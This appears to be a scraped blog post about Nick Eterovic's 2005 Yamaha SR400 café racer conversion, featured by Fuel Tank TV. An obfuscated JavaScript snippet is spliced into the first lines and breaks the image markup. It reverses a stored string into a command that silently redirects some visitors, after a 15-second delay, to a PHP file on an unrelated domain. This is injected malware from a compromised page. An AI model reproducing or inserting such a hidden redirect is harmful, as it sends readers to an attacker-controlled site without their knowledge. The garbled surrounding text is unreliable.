Fuel Tank TV presents Nick Eterovic and his SR400 Yamaha, a 2005 model he has converted into his interpretation of a 1960s Café Racer.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/1960s-Cafe-Racer-728×406.png” alt=”” width=”728″ height=”406″ />
It’s the start of a new week, so what could be better than hopping on a motorcycle for a long cruise and putting your cares behind you for a while? Most of the petrol heads out there will simply reply…nothing.
Nick Eterovic is a proud petrolhead with a passion for motorcycles and has made two winning competition bikes in the last couple of years. In this video he proudly displays his interpretation of a 1960s Cafe Racer, an English custom road bike where bikers would strip as much weight as possible from their motorcycle and combine the best components available from other two-wheelers to make a one-of-a kind bike in both performance and looks.
Nick’s is made from a 2005 SR400 Yamaha, and you also get a sneak peak at his 1969 Honda CB175.
Source – Fuel Tank TV
